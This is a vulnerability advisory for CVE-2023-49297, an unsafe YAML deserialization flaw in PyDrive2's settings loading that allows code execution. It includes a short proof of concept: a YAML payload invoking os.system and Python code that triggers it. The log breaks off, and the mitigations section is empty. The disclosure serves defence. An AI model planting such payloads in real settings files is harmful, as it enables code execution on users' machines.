PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution
Date: 2023-12
Affected: pip/PyDrive2, pip/PyDrive2
Attack vector: deserialization
Category: vulnerability-disclosure
Severity: Low
CVE: CVE-2023-49297
CWE: CWE-502
CVSS: 3.3 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N)

### Summary Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via `LoadSettingsFile`. ### Details The loader being imported from the `yaml` library is `CLoader`: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5 This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121 CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur. https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9 Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf ### PoC 1. Create a malicious `settings.yaml` file: ```yaml !!python/object/new:os.system [echo poc] ``` 2. Initialize a `GoogleAuth` object . ```python from pydrive2.auth import GoogleAuth gauth = GoogleAuth() ``` 3. Execute the code with the settings file present in your directory. The code inside the file will be executed: ``` [evan@ejedev PyDrive2]$ ls CHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pyt


Mitigations:

Architectural layers (MAESTRO):